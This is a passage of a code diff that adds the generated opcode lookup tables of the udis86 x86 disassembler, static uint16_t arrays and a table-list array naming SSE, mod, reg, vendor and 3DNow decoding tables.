0, +}; + +static const uint16_t ud_itab__948[] = { + /* 0 */ 1224, 0, +}; + +static const uint16_t ud_itab__941[] = { + /* 0 */ GROUP(942), GROUP(943), GROUP(944), GROUP(945), + /* 4 */ GROUP(946), 0, GROUP(947), GROUP(948), +}; + +static const uint16_t ud_itab__950[] = { + /* 0 */ 0, 1225, +}; + +static const uint16_t ud_itab__951[] = { + /* 0 */ 0, 1226, +}; + +static const uint16_t ud_itab__952[] = { + /* 0 */ 0, 1227, +}; + +static const uint16_t ud_itab__953[] = { + /* 0 */ 0, 1228, +}; + +static const uint16_t ud_itab__954[] = { + /* 0 */ 0, 1229, +}; + +static const uint16_t ud_itab__955[] = { + /* 0 */ 0, 1230, +}; + +static const uint16_t ud_itab__956[] = { + /* 0 */ 0, 1231, +}; + +static const uint16_t ud_itab__957[] = { + /* 0 */ 0, 1232, +}; + +static const uint16_t ud_itab__958[] = { + /* 0 */ 0, 1233, +}; + +static const uint16_t ud_itab__959[] = { + /* 0 */ 0, 1234, +}; + +static const uint16_t ud_itab__960[] = { + /* 0 */ 0, 1235, +}; + +static const uint16_t ud_itab__961[] = { + /* 0 */ 0, 1236, +}; + +static const uint16_t ud_itab__962[] = { + /* 0 */ 0, 1237, +}; + +static const uint16_t ud_itab__963[] = { + /* 0 */ 0, 1238, +}; + +static const uint16_t ud_itab__964[] = { + /* 0 */ 0, 1239, +}; + +static const uint16_t ud_itab__965[] = { + /* 0 */ 0, 1240, +}; + +static const uint16_t ud_itab__966[] = { + /* 0 */ 0, 1241, +}; + +static const uint16_t ud_itab__967[] = { + /* 0 */ 0, 1242, +}; + +static const uint16_t ud_itab__968[] = { + /* 0 */ 0, 1243, +}; + +static const uint16_t ud_itab__969[] = { + /* 0 */ 0, 1244, +}; + +static const uint16_t ud_itab__970[] = { + /* 0 */ 0, 1245, +}; + +static const uint16_t ud_itab__971[] = { + /* 0 */ 0, 1246, +}; + +static const uint16_t ud_itab__972[] = { + /* 0 */ 0, 1247, +}; + +static const uint16_t ud_itab__973[] = { + /* 0 */ 0, 1248, +}; + +static const uint16_t ud_itab__974[] = { + /* 0 */ 0, 1249, +}; + +static const uint16_t ud_itab__975[] = { + /* 0 */ 0, 1250, +}; + +static const uint16_t ud_itab__976[] = { + /* 0 */ 0, 1251, +}; + +static const uint16_t ud_itab__977[] = { + /* 0 */ 0, 1252, +}; + +static const uint16_t ud_itab__978[] = { + /* 0 */ 0, 1253, +}; + +static const uint16_t ud_itab__979[] = { + /* 0 */ 0, 1254, +}; + +static const uint16_t ud_itab__980[] = { + /* 0 */ 0, 1255, +}; + +static const uint16_t ud_itab__981[] = { + /* 0 */ 0, 1256, +}; + +static const uint16_t ud_itab__982[] = { + /* 0 */ 0, 1257, +}; + +static const uint16_t ud_itab__983[] = { + /* 0 */ 0, 1258, +}; + +static const uint16_t ud_itab__984[] = { + /* 0 */ 0, 1259, +}; + +static const uint16_t ud_itab__985[] = { + /* 0 */ 0, 1260, +}; + +static const uint16_t ud_itab__986[] = { + /* 0 */ 0, 1261, +}; + +static const uint16_t ud_itab__987[] = { + /* 0 */ 0, 1262, +}; + +static const uint16_t ud_itab__988[] = { + /* 0 */ 0, 1263, +}; + +static const uint16_t ud_itab__989[] = { + /* 0 */ 0, 1264, +}; + +static const uint16_t ud_itab__990[] = { + /* 0 */ 0, 1265, +}; + +static const uint16_t ud_itab__991[] = { + /* 0 */ 0, 1266, +}; + +static const uint16_t ud_itab__992[] = { + /* 0 */ 0, 1267, +}; + +static const uint16_t ud_itab__993[] = { + /* 0 */ 0, 1268, +}; + +static const uint16_t ud_itab__994[] = { + /* 0 */ 0, 1269, +}; + +static const uint16_t ud_itab__995[] = { + /* 0 */ 0, 1270, +}; + +static const uint16_t ud_itab__996[] = { + /* 0 */ 0, 1271, +}; + +static const uint16_t ud_itab__997[] = { + /* 0 */ 0, 1272, +}; + +static const uint16_t ud_itab__949[] = { + /* 0 */ GROUP(950), GROUP(951), GROUP(952), GROUP(953), + /* 4 */ GROUP(954), GROUP(955), GROUP(956), GROUP(957), + /* 8 */ GROUP(958), GROUP(959), GROUP(960), GROUP(961), + /* c */ GROUP(962), GROUP(963), GROUP(964), GROUP(965), + /* 10 */ GROUP(966), GROUP(967), GROUP(968), GROUP(969), + /* 14 */ GROUP(970), GROUP(971), GROUP(972), GROUP(973), + /* 18 */ GROUP(974), GROUP(975), GROUP(976), GROUP(977), + /* 1c */ GROUP(978), GROUP(979), GROUP(980), GROUP(981), + /* 20 */ GROUP(982), GROUP(983), GROUP(984), GROUP(985), + /* 24 */ GROUP(986), GROUP(987), GROUP(988), GROUP(989), + /* 28 */ GROUP(990), GROUP(991), GROUP(992), GROUP(993), + /* 2c */ GROUP(994), GROUP(995), GROUP(996), GROUP(997), + /* 30 */ 0, 0, 0, 0, + /* 34 */ 0, 0, 0, 0, + /* 38 */ 0, 0, 0, 0, + /* 3c */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__940[] = { + /* 0 */ GROUP(941), GROUP(949), +}; + +static const uint16_t ud_itab__1000[] = { + /* 0 */ 1273, 0, +}; + +static const uint16_t ud_itab__1001[] = { + /* 0 */ 1274, 0, +}; + +static const uint16_t ud_itab__1002[] = { + /* 0 */ 1275, 0, +}; + +static const uint16_t ud_itab__1003[] = { + /* 0 */ 1276, 0, +}; + +static const uint16_t ud_itab__1004[] = { + /* 0 */ 1277, 0, +}; + +static const uint16_t ud_itab__1005[] = { + /* 0 */ 1278, 0, +}; + +static const uint16_t ud_itab__1006[] = { + /* 0 */ 1279, 0, +}; + +static const uint16_t ud_itab__1007[] = { + /* 0 */ 1280, 0, +}; + +static const uint16_t ud_itab__999[] = { + /* 0 */ GROUP(1000), GROUP(1001), GROUP(1002), GROUP(1003), + /* 4 */ GROUP(1004), GROUP(1005), GROUP(1006), GROUP(1007), +}; + +static const uint16_t ud_itab__1009[] = { + /* 0 */ 0, 1281, +}; + +static const uint16_t ud_itab__1010[] = { + /* 0 */ 0, 1282, +}; + +static const uint16_t ud_itab__1011[] = { + /* 0 */ 0, 1283, +}; + +static const uint16_t ud_itab__1012[] = { + /* 0 */ 0, 1284, +}; + +static const uint16_t ud_itab__1013[] = { + /* 0 */ 0, 1285, +}; + +static const uint16_t ud_itab__1014[] = { + /* 0 */ 0, 1286, +}; + +static const uint16_t ud_itab__1015[] = { + /* 0 */ 0, 1287, +}; + +static const uint16_t ud_itab__1016[] = { + /* 0 */ 0, 1288, +}; + +static const uint16_t ud_itab__1017[] = { + /* 0 */ 0, 1289, +}; + +static const uint16_t ud_itab__1018[] = { + /* 0 */ 0, 1290, +}; + +static const uint16_t ud_itab__1019[] = { + /* 0 */ 0, 1291, +}; + +static const uint16_t ud_itab__1020[] = { + /* 0 */ 0, 1292, +}; + +static const uint16_t ud_itab__1021[] = { + /* 0 */ 0, 1293, +}; + +static const uint16_t ud_itab__1022[] = { + /* 0 */ 0, 1294, +}; + +static const uint16_t ud_itab__1023[] = { + /* 0 */ 0, 1295, +}; + +static const uint16_t ud_itab__1024[] = { + /* 0 */ 0, 1296, +}; + +static const uint16_t ud_itab__1025[] = { + /* 0 */ 0, 1297, +}; + +static const uint16_t ud_itab__1026[] = { + /* 0 */ 0, 1298, +}; + +static const uint16_t ud_itab__1027[] = { + /* 0 */ 0, 1299, +}; + +static const uint16_t ud_itab__1028[] = { + /* 0 */ 0, 1300, +}; + +static const uint16_t ud_itab__1029[] = { + /* 0 */ 0, 1301, +}; + +static const uint16_t ud_itab__1030[] = { + /* 0 */ 0, 1302, +}; + +static const uint16_t ud_itab__1031[] = { + /* 0 */ 0, 1303, +}; + +static const uint16_t ud_itab__1032[] = { + /* 0 */ 0, 1304, +}; + +static const uint16_t ud_itab__1033[] = { + /* 0 */ 0, 1305, +}; + +static const uint16_t ud_itab__1034[] = { + /* 0 */ 0, 1306, +}; + +static const uint16_t ud_itab__1035[] = { + /* 0 */ 0, 1307, +}; + +static const uint16_t ud_itab__1036[] = { + /* 0 */ 0, 1308, +}; + +static const uint16_t ud_itab__1037[] = { + /* 0 */ 0, 1309, +}; + +static const uint16_t ud_itab__1038[] = { + /* 0 */ 0, 1310, +}; + +static const uint16_t ud_itab__1039[] = { + /* 0 */ 0, 1311, +}; + +static const uint16_t ud_itab__1040[] = { + /* 0 */ 0, 1312, +}; + +static const uint16_t ud_itab__1041[] = { + /* 0 */ 0, 1313, +}; + +static const uint16_t ud_itab__1042[] = { + /* 0 */ 0, 1314, +}; + +static const uint16_t ud_itab__1043[] = { + /* 0 */ 0, 1315, +}; + +static const uint16_t ud_itab__1044[] = { + /* 0 */ 0, 1316, +}; + +static const uint16_t ud_itab__1045[] = { + /* 0 */ 0, 1317, +}; + +static const uint16_t ud_itab__1046[] = { + /* 0 */ 0, 1318, +}; + +static const uint16_t ud_itab__1047[] = { + /* 0 */ 0, 1319, +}; + +static const uint16_t ud_itab__1048[] = { + /* 0 */ 0, 1320, +}; + +static const uint16_t ud_itab__1049[] = { + /* 0 */ 0, 1321, +}; + +static const uint16_t ud_itab__1050[] = { + /* 0 */ 0, 1322, +}; + +static const uint16_t ud_itab__1051[] = { + /* 0 */ 0, 1323, +}; + +static const uint16_t ud_itab__1052[] = { + /* 0 */ 0, 1324, +}; + +static const uint16_t ud_itab__1053[] = { + /* 0 */ 0, 1325, +}; + +static const uint16_t ud_itab__1054[] = { + /* 0 */ 0, 1326, +}; + +static const uint16_t ud_itab__1055[] = { + /* 0 */ 0, 1327, +}; + +static const uint16_t ud_itab__1056[] = { + /* 0 */ 0, 1328, +}; + +static const uint16_t ud_itab__1057[] = { + /* 0 */ 0, 1329, +}; + +static const uint16_t ud_itab__1058[] = { + /* 0 */ 0, 1330, +}; + +static const uint16_t ud_itab__1059[] = { + /* 0 */ 0, 1331, +}; + +static const uint16_t ud_itab__1060[] = { + /* 0 */ 0, 1332, +}; + +static const uint16_t ud_itab__1061[] = { + /* 0 */ 0, 1333, +}; + +static const uint16_t ud_itab__1062[] = { + /* 0 */ 0, 1334, +}; + +static const uint16_t ud_itab__1063[] = { + /* 0 */ 0, 1335, +}; + +static const uint16_t ud_itab__1064[] = { + /* 0 */ 0, 1336, +}; + +static const uint16_t ud_itab__1065[] = { + /* 0 */ 0, 1337, +}; + +static const uint16_t ud_itab__1008[] = { + /* 0 */ GROUP(1009), GROUP(1010), GROUP(1011), GROUP(1012), + /* 4 */ GROUP(1013), GROUP(1014), GROUP(1015), GROUP(1016), + /* 8 */ GROUP(1017), GROUP(1018), GROUP(1019), GROUP(1020), + /* c */ GROUP(1021), GROUP(1022), GROUP(1023), GROUP(1024), + /* 10 */ GROUP(1025), GROUP(1026), GROUP(1027), GROUP(1028), + /* 14 */ GROUP(1029), GROUP(1030), GROUP(1031), GROUP(1032), + /* 18 */ 0, GROUP(1033), 0, 0, + /* 1c */ 0, 0, 0, 0, + /* 20 */ GROUP(1034), GROUP(1035), GROUP(1036), GROUP(1037), + /* 24 */ GROUP(1038), GROUP(1039), GROUP(1040), GROUP(1041), + /* 28 */ GROUP(1042), GROUP(1043), GROUP(1044), GROUP(1045), + /* 2c */ GROUP(1046), GROUP(1047), GROUP(1048), GROUP(1049), + /* 30 */ GROUP(1050), GROUP(1051), GROUP(1052), GROUP(1053), + /* 34 */ GROUP(1054), GROUP(1055), GROUP(1056), GROUP(1057), + /* 38 */ GROUP(1058), GROUP(1059), GROUP(1060), GROUP(1061), + /* 3c */ GROUP(1062), GROUP(1063), GROUP(1064), GROUP(1065), +}; + +static const uint16_t ud_itab__998[] = { + /* 0 */ GROUP(999), GROUP(1008), +}; + +static const uint16_t ud_itab__1068[] = { + /* 0 */ 1338, 0, +}; + +static const uint16_t ud_itab__1069[] = { + /* 0 */ 1339, 0, +}; + +static const uint16_t ud_itab__1070[] = { + /* 0 */ 1340, 0, +}; + +static const uint16_t ud_itab__1071[] = { + /* 0 */ 1341, 0, +}; + +static const uint16_t ud_itab__1072[] = { + /* 0 */ 1342, 0, +}; + +static const uint16_t ud_itab__1073[] = { + /* 0 */ 1343, 0, +}; + +static const uint16_t ud_itab__1074[] = { + /* 0 */ 1344, 0, +}; + +static const uint16_t ud_itab__1075[] = { + /* 0 */ 1345, 0, +}; + +static const uint16_t ud_itab__1067[] = { + /* 0 */ GROUP(1068), GROUP(1069), GROUP(1070), GROUP(1071), + /* 4 */ GROUP(1072), GROUP(1073), GROUP(1074), GROUP(1075), +}; + +static const uint16_t ud_itab__1077[] = { + /* 0 */ 0, 1346, +}; + +static const uint16_t ud_itab__1078[] = { + /* 0 */ 0, 1347, +}; + +static const uint16_t ud_itab__1079[] = { + /* 0 */ 0, 1348, +}; + +static const uint16_t ud_itab__1080[] = { + /* 0 */ 0, 1349, +}; + +static const uint16_t ud_itab__1081[] = { + /* 0 */ 0, 1350, +}; + +static const uint16_t ud_itab__1082[] = { + /* 0 */ 0, 1351, +}; + +static const uint16_t ud_itab__1083[] = { + /* 0 */ 0, 1352, +}; + +static const uint16_t ud_itab__1084[] = { + /* 0 */ 0, 1353, +}; + +static const uint16_t ud_itab__1085[] = { + /* 0 */ 0, 1354, +}; + +static const uint16_t ud_itab__1086[] = { + /* 0 */ 0, 1355, +}; + +static const uint16_t ud_itab__1087[] = { + /* 0 */ 0, 1356, +}; + +static const uint16_t ud_itab__1088[] = { + /* 0 */ 0, 1357, +}; + +static const uint16_t ud_itab__1089[] = { + /* 0 */ 0, 1358, +}; + +static const uint16_t ud_itab__1090[] = { + /* 0 */ 0, 1359, +}; + +static const uint16_t ud_itab__1091[] = { + /* 0 */ 0, 1360, +}; + +static const uint16_t ud_itab__1092[] = { + /* 0 */ 0, 1361, +}; + +static const uint16_t ud_itab__1093[] = { + /* 0 */ 0, 1362, +}; + +static const uint16_t ud_itab__1094[] = { + /* 0 */ 0, 1363, +}; + +static const uint16_t ud_itab__1095[] = { + /* 0 */ 0, 1364, +}; + +static const uint16_t ud_itab__1096[] = { + /* 0 */ 0, 1365, +}; + +static const uint16_t ud_itab__1097[] = { + /* 0 */ 0, 1366, +}; + +static const uint16_t ud_itab__1098[] = { + /* 0 */ 0, 1367, +}; + +static const uint16_t ud_itab__1099[] = { + /* 0 */ 0, 1368, +}; + +static const uint16_t ud_itab__1100[] = { + /* 0 */ 0, 1369, +}; + +static const uint16_t ud_itab__1101[] = { + /* 0 */ 0, 1370, +}; + +static const uint16_t ud_itab__1102[] = { + /* 0 */ 0, 1371, +}; + +static const uint16_t ud_itab__1103[] = { + /* 0 */ 0, 1372, +}; + +static const uint16_t ud_itab__1104[] = { + /* 0 */ 0, 1373, +}; + +static const uint16_t ud_itab__1105[] = { + /* 0 */ 0, 1374, +}; + +static const uint16_t ud_itab__1106[] = { + /* 0 */ 0, 1375, +}; + +static const uint16_t ud_itab__1107[] = { + /* 0 */ 0, 1376, +}; + +static const uint16_t ud_itab__1108[] = { + /* 0 */ 0, 1377, +}; + +static const uint16_t ud_itab__1109[] = { + /* 0 */ 0, 1378, +}; + +static const uint16_t ud_itab__1110[] = { + /* 0 */ 0, 1379, +}; + +static const uint16_t ud_itab__1111[] = { + /* 0 */ 0, 1380, +}; + +static const uint16_t ud_itab__1112[] = { + /* 0 */ 0, 1381, +}; + +static const uint16_t ud_itab__1113[] = { + /* 0 */ 0, 1382, +}; + +static const uint16_t ud_itab__1114[] = { + /* 0 */ 0, 1383, +}; + +static const uint16_t ud_itab__1115[] = { + /* 0 */ 0, 1384, +}; + +static const uint16_t ud_itab__1116[] = { + /* 0 */ 0, 1385, +}; + +static const uint16_t ud_itab__1117[] = { + /* 0 */ 0, 1386, +}; + +static const uint16_t ud_itab__1118[] = { + /* 0 */ 0, 1387, +}; + +static const uint16_t ud_itab__1119[] = { + /* 0 */ 0, 1388, +}; + +static const uint16_t ud_itab__1120[] = { + /* 0 */ 0, 1389, +}; + +static const uint16_t ud_itab__1121[] = { + /* 0 */ 0, 1390, +}; + +static const uint16_t ud_itab__1122[] = { + /* 0 */ 0, 1391, +}; + +static const uint16_t ud_itab__1123[] = { + /* 0 */ 0, 1392, +}; + +static const uint16_t ud_itab__1124[] = { + /* 0 */ 0, 1393, +}; + +static const uint16_t ud_itab__1125[] = { + /* 0 */ 0, 1394, +}; + +static const uint16_t ud_itab__1076[] = { + /* 0 */ GROUP(1077), GROUP(1078), GROUP(1079), GROUP(1080), + /* 4 */ GROUP(1081), GROUP(1082), GROUP(1083), GROUP(1084), + /* 8 */ GROUP(1085), GROUP(1086), GROUP(1087), GROUP(1088), + /* c */ GROUP(1089), GROUP(1090), GROUP(1091), GROUP(1092), + /* 10 */ GROUP(1093), GROUP(1094), GROUP(1095), GROUP(1096), + /* 14 */ GROUP(1097), GROUP(1098), GROUP(1099), GROUP(1100), + /* 18 */ GROUP(1101), GROUP(1102), GROUP(1103), GROUP(1104), + /* 1c */ GROUP(1105), GROUP(1106), GROUP(1107), GROUP(1108), + /* 20 */ GROUP(1109), 0, 0, 0, + /* 24 */ 0, 0, 0, 0, + /* 28 */ GROUP(1110), GROUP(1111), GROUP(1112), GROUP(1113), + /* 2c */ GROUP(1114), GROUP(1115), GROUP(1116), GROUP(1117), + /* 30 */ GROUP(1118), GROUP(1119), GROUP(1120), GROUP(1121), + /* 34 */ GROUP(1122), GROUP(1123), GROUP(1124), GROUP(1125), + /* 38 */ 0, 0, 0, 0, + /* 3c */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__1066[] = { + /* 0 */ GROUP(1067), GROUP(1076), +}; + +static const uint16_t ud_itab__1126[] = { + /* 0 */ 1398, 1399, 1400, +}; + +static const uint16_t ud_itab__1127[] = { + /* 0 */ 1407, 0, +}; + +static const uint16_t ud_itab__1128[] = { + /* 0 */ 1419, 1420, 1421, 1422, + /* 4 */ 1423, 1424, 1425, 1426, +}; + +static const uint16_t ud_itab__1129[] = { + /* 0 */ 1427, 1428, 1429, 1430, + /* 4 */ 1431, 1432, 1433, 1434, +}; + +static const uint16_t ud_itab__1130[] = { + /* 0 */ 1441, 1442, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__1132[] = { + /* 0 */ 1445, 1446, +}; + +static const uint16_t ud_itab__1131[] = { + /* 0 */ 1443, 1444, GROUP(1132), 1447, + /* 4 */ 1448, 1449, 1450, 0, +}; + +const uint16_t ud_itab__0[] = { + /* 0 */ 1, 2, 3, 4, + /* 4 */ 5, 6, GROUP(1), GROUP(2), + /* 8 */ 9, 10, 11, 12, + /* c */ 13, 14, GROUP(3), GROUP(4), + /* 10 */ 628, 629, 630, 631, + /* 14 */ 632, 633, GROUP(563), GROUP(564), + /* 18 */ 636, 637, 638, 639, + /* 1c */ 640, 641, GROUP(565), GROUP(566), + /* 20 */ 644, 645, 646, 647, + /* 24 */ 648, 649, 0, GROUP(567), + /* 28 */ 651, 652, 653, 654, + /* 2c */ 655, 656, 0, GROUP(568), + /* 30 */ 658, 659, 660, 661, + /* 34 */ 662, 663, 0, GROUP(569), + /* 38 */ 665, 666, 667, 668, + /* 3c */ 669, 670, 0, GROUP(570), + /* 40 */ 672, 673, 674, 675, + /* 44 */ 676, 677, 678, 679, + /* 48 */ 680, 681, 682, 683, + /* 4c */ 684, 685, 686, 687, + /* 50 */ 688, 689, 690, 691, + /* 54 */ 692, 693, 694, 695, + /* 58 */ 696, 697, 698, 699, + /* 5c */ 700, 701, 702, 703, + /* 60 */ GROUP(571), GROUP(574), GROUP(577), GROUP(578), + /* 64 */ 0, 0, 0, 0, + /* 68 */ 711, 712, 713, 714, + /* 6c */ 715, GROUP(579), 718, GROUP(580), + /* 70 */ 721, 722, 723, 724, + /* 74 */ 725, 726, 727, 728, + /* 78 */ 729, 730, 731, 732, + /* 7c */ 733, 734, 735, 736, + /* 80 */ GROUP(581), GROUP(582), GROUP(583), GROUP(592), + /* 84 */ 769, 770, 771, 772, + /* 88 */ 773, 774, 775, 776, + /* 8c */ 777, 778, 779, GROUP(593), + /* 90 */ 781, 782, 783, 784, + /* 94 */ 785, 786, 787, 788, + /* 98 */ GROUP(594), GROUP(595), GROUP(596), 796, + /* 9c */ GROUP(597), GROUP(601), 806, 807, + /* a0 */ 808, 809, 810, 811, + /* a4 */ 812, GROUP(605), 816, GROUP(606), + /* a8 */ 820, 821, 822, GROUP(607), + /* ac */ 826, GROUP(608), 830, GROUP(609), + /* b0 */ 834, 835, 836, 837, + /* b4 */ 838, 839, 840, 841, + /* b8 */ 842, 843, 844, 845, + /* bc */ 846, 847, 848, 849, + /* c0 */ GROUP(610), GROUP(611), 866, 867, + /* c4 */ GROUP(612), GROUP(613), GROUP(614), GROUP(615), + /* c8 */ 872, 873, 874, 875, + /* cc */ 876, 877, GROUP(616), GROUP(617), + /* d0 */ GROUP(618), GROUP(619), GROUP(620), GROUP(621), + /* d4 */ GROUP(622), GROUP(623), GROUP(624), 917, + /* d8 */ GROUP(625), GROUP(700), GROUP(762), GROUP(806), + /* dc */ GROUP(865), GROUP(940), GROUP(998), GROUP(1066), + /* e0 */ 1395, 1396, 1397, GROUP(1126), + /* e4 */ 1401, 1402, 1403, 1404, + /* e8 */ 1405, 1406, GROUP(1127), 1408, + /* ec */ 1409, 1410, 1411, 1412, + /* f0 */ 1413, 1414, 1415, 1416, + /* f4 */ 1417, 1418, GROUP(1128), GROUP(1129), + /* f8 */ 1435, 1436, 1437, 1438, + /* fc */ 1439, 1440, GROUP(1130), GROUP(1131), +}; + + +struct ud_lookup_table_list_entry ud_lookup_table_list[] = { + /* 000 */ { ud_itab__0, UD_TAB__OPC_TABLE, "table0" }, + /* 001 */ { ud_itab__1, UD_TAB__OPC_MODE, "/m" }, + /* 002 */ { ud_itab__2, UD_TAB__OPC_MODE, "/m" }, + /* 003 */ { ud_itab__3, UD_TAB__OPC_MODE, "/m" }, + /* 004 */ { ud_itab__4, UD_TAB__OPC_TABLE, "0f" }, + /* 005 */ { ud_itab__5, UD_TAB__OPC_REG, "/reg" }, + /* 006 */ { ud_itab__6, UD_TAB__OPC_SSE, "/sse" }, + /* 007 */ { ud_itab__7, UD_TAB__OPC_SSE, "/sse" }, + /* 008 */ { ud_itab__8, UD_TAB__OPC_SSE, "/sse" }, + /* 009 */ { ud_itab__9, UD_TAB__OPC_SSE, "/sse" }, + /* 010 */ { ud_itab__10, UD_TAB__OPC_SSE, "/sse" }, + /* 011 */ { ud_itab__11, UD_TAB__OPC_SSE, "/sse" }, + /* 012 */ { ud_itab__12, UD_TAB__OPC_MOD, "/mod" }, + /* 013 */ { ud_itab__13, UD_TAB__OPC_REG, "/reg" }, + /* 014 */ { ud_itab__14, UD_TAB__OPC_SSE, "/sse" }, + /* 015 */ { ud_itab__15, UD_TAB__OPC_MOD, "/mod" }, + /* 016 */ { ud_itab__16, UD_TAB__OPC_SSE, "/sse" }, + /* 017 */ { ud_itab__17, UD_TAB__OPC_MOD, "/mod" }, + /* 018 */ { ud_itab__18, UD_TAB__OPC_SSE, "/sse" }, + /* 019 */ { ud_itab__19, UD_TAB__OPC_MOD, "/mod" }, + /* 020 */ { ud_itab__20, UD_TAB__OPC_SSE, "/sse" }, + /* 021 */ { ud_itab__21, UD_TAB__OPC_MOD, "/mod" }, + /* 022 */ { ud_itab__22, UD_TAB__OPC_SSE, "/sse" }, + /* 023 */ { ud_itab__23, UD_TAB__OPC_MOD, "/mod" }, + /* 024 */ { ud_itab__24, UD_TAB__OPC_SSE, "/sse" }, + /* 025 */ { ud_itab__25, UD_TAB__OPC_MOD, "/mod" }, + /* 026 */ { ud_itab__26, UD_TAB__OPC_SSE, "/sse" }, + /* 027 */ { ud_itab__27, UD_TAB__OPC_MOD, "/mod" }, + /* 028 */ { ud_itab__28, UD_TAB__OPC_REG, "/reg" }, + /* 029 */ { ud_itab__29, UD_TAB__OPC_RM, "/rm" }, + /* 030 */ { ud_itab__30, UD_TAB__OPC_SSE, "/sse" }, + /* 031 */ { ud_itab__31, UD_TAB__OPC_MOD, "/mod" }, + /* 032 */ { ud_itab__32, UD_TAB__OPC_VENDOR, "intel" }, + /* 033 */ { ud_itab__33, UD_TAB__OPC_SSE, "/sse" }, + /* 034 */ { ud_itab__34, UD_TAB__OPC_MOD, "/mod" }, + /* 035 */ { ud_itab__35, UD_TAB__OPC_VENDOR, "intel" }, + /* 036 */ { ud_itab__36, UD_TAB__OPC_SSE, "/sse" }, + /* 037 */ { ud_itab__37, UD_TAB__OPC_MOD, "/mod" }, + /* 038 */ { ud_itab__38, UD_TAB__OPC_VENDOR, "intel" }, + /* 039 */ { ud_itab__39, UD_TAB__OPC_SSE, "/sse" }, + /* 040 */ { ud_itab__40, UD_TAB__OPC_MOD, "/mod" }, + /* 041 */ { ud_itab__41, UD_TAB__OPC_VENDOR, "intel" }, + /* 042 */ { ud_itab__42, UD_TAB__OPC_RM, "/rm" }, + /* 043 */ { ud_itab__43, UD_TAB__OPC_SSE, "/sse" }, + /* 044 */ { ud_itab__44, UD_TAB__OPC_MOD, "/mod" }, + /* 045 */ { ud_itab__45, UD_TAB__OPC_SSE, "/sse" }, + /* 046 */ { ud_itab__46, UD_TAB__OPC_MOD, "/mod" }, + /* 047 */ { ud_itab__47, UD_TAB__OPC_RM, "/rm" }, + /* 048 */ { ud_itab__48, UD_TAB__OPC_SSE, "/sse" }, + /* 049 */ { ud_itab__49, UD_TAB__OPC_MOD, "/mod" }, + /* 050 */ { ud_itab__50, UD_TAB__OPC_SSE, "/sse" }, + /* 051 */ { ud_itab__51, UD_TAB__OPC_MOD, "/mod" }, + /* 052 */ { ud_itab__52, UD_TAB__OPC_RM, "/rm" }, + /* 053 */ { ud_itab__53, UD_TAB__OPC_SSE, "/sse" }, + /* 054 */ { ud_itab__54, UD_TAB__OPC_MOD, "/mod" }, + /* 055 */ { ud_itab__55, UD_TAB__OPC_VENDOR, "amd" }, + /* 056 */ { ud_itab__56, UD_TAB__OPC_SSE, "/sse" }, + /* 057 */ { ud_itab__57, UD_TAB__OPC_MOD, "/mod" }, + /* 058 */ { ud_itab__58, UD_TAB__OPC_VENDOR, "amd" }, + /* 059 */ { ud_itab__59, UD_TAB__OPC_SSE, "/sse" }, + /* 060 */ { ud_itab__60, UD_TAB__OPC_MOD, "/mod" }, + /* 061 */ { ud_itab__61, UD_TAB__OPC_VENDOR, "amd" }, + /* 062 */ { ud_itab__62, UD_TAB__OPC_SSE, "/sse" }, + /* 063 */ { ud_itab__63, UD_TAB__OPC_MOD, "/mod" }, + /* 064 */ { ud_itab__64, UD_TAB__OPC_VENDOR, "amd" }, + /* 065 */ { ud_itab__65, UD_TAB__OPC_SSE, "/sse" }, + /* 066 */ { ud_itab__66, UD_TAB__OPC_MOD, "/mod" }, + /* 067 */ { ud_itab__67, UD_TAB__OPC_VENDOR, "amd" }, + /* 068 */ { ud_itab__68, UD_TAB__OPC_SSE, "/sse" }, + /* 069 */ { ud_itab__69, UD_TAB__OPC_MOD, "/mod" }, + /* 070 */ { ud_itab__70, UD_TAB__OPC_VENDOR, "amd" }, + /* 071 */ { ud_itab__71, UD_TAB__OPC_SSE, "/sse" }, + /* 072 */ { ud_itab__72, UD_TAB__OPC_MOD, "/mod" }, + /* 073 */ { ud_itab__73, UD_TAB__OPC_VENDOR, "amd" }, + /* 074 */ { ud_itab__74, UD_TAB__OPC_SSE, "/sse" }, + /* 075 */ { ud_itab__75, UD_TAB__OPC_MOD, "/mod" }, + /* 076 */ { ud_itab__76, UD_TAB__OPC_VENDOR, "amd" }, + /* 077 */ { ud_itab__77, UD_TAB__OPC_SSE, "/sse" }, + /* 078 */ { ud_itab__78, UD_TAB__OPC_MOD, "/mod" }, + /* 079 */ { ud_itab__79, UD_TAB__OPC_SSE, "/sse" }, + /* 080 */ { ud_itab__80, UD_TAB__OPC_MOD, "/mod" }, + /* 081 */ { ud_itab__81, UD_TAB__OPC_RM, "/rm" }, + /* 082 */ { ud_itab__82, UD_TAB__OPC_SSE, "/sse" }, + /* 083 */ { ud_itab__83, UD_TAB__OPC_MOD, "/mod" }, + /* 084 */ { ud_itab__84, UD_TAB__OPC_SSE, "/sse" }, + /* 085 */ { ud_itab__85, UD_TAB__OPC_MOD, "/mod" }, + /* 086 */ { ud_itab__86, UD_TAB__OPC_VENDOR, "amd" }, + /* 087 */ { ud_itab__87, UD_TAB__OPC_SSE, "/sse" }, + /* 088 */ { ud_itab__88, UD_TAB__OPC_SSE, "/sse" }, + /* 089 */ { ud_itab__89, UD_TAB__OPC_SSE, "/sse" }, + /* 090 */ { ud_itab__90, UD_TAB__OPC_SSE, "/sse" }, + /* 091 */ { ud_itab__91, UD_TAB__OPC_SSE, "/sse" }, + /* 092 */ { ud_itab__92, UD_TAB__OPC_SSE, "/sse" }, + /* 093 */ { ud_itab__93, UD_TAB__OPC_SSE, "/sse" }, + /* 094 */ { ud_itab__94, UD_TAB__OPC_SSE, "/sse" }, + /* 095 */ { ud_itab__95, UD_TAB__OPC_REG, "/reg" }, + /* 096 */ { ud_itab__96, UD_TAB__OPC_SSE, "/sse" }, + /* 097 */ { ud_itab__97, UD_TAB__OPC_SSE, "/sse" }, + /* 098 */ { ud_itab__98, UD_TAB__OPC_SSE, "/sse" }, + /* 099 */ { ud_itab__99, UD_TAB__OPC_SSE, "/sse" }, + /* 100 */ { ud_itab__100, UD_TAB__OPC_SSE, "/sse" }, + /* 101 */ { ud_itab__101, UD_TAB__OPC_SSE, "/sse" }, + /* 102 */ { ud_itab__102, UD_TAB__OPC_SSE, "/sse" }, + /* 103 */ { ud_itab__103, UD_TAB__OPC_SSE, "/sse" }, + /* 104 */ { ud_itab__104, UD_TAB__OPC_SSE, "/sse" }, + /* 105 */ { ud_itab__105, UD_TAB__OPC_3DNOW, "/3dnow" }, + /* 106 */ { ud_itab__106, UD_TAB__OPC_SSE, 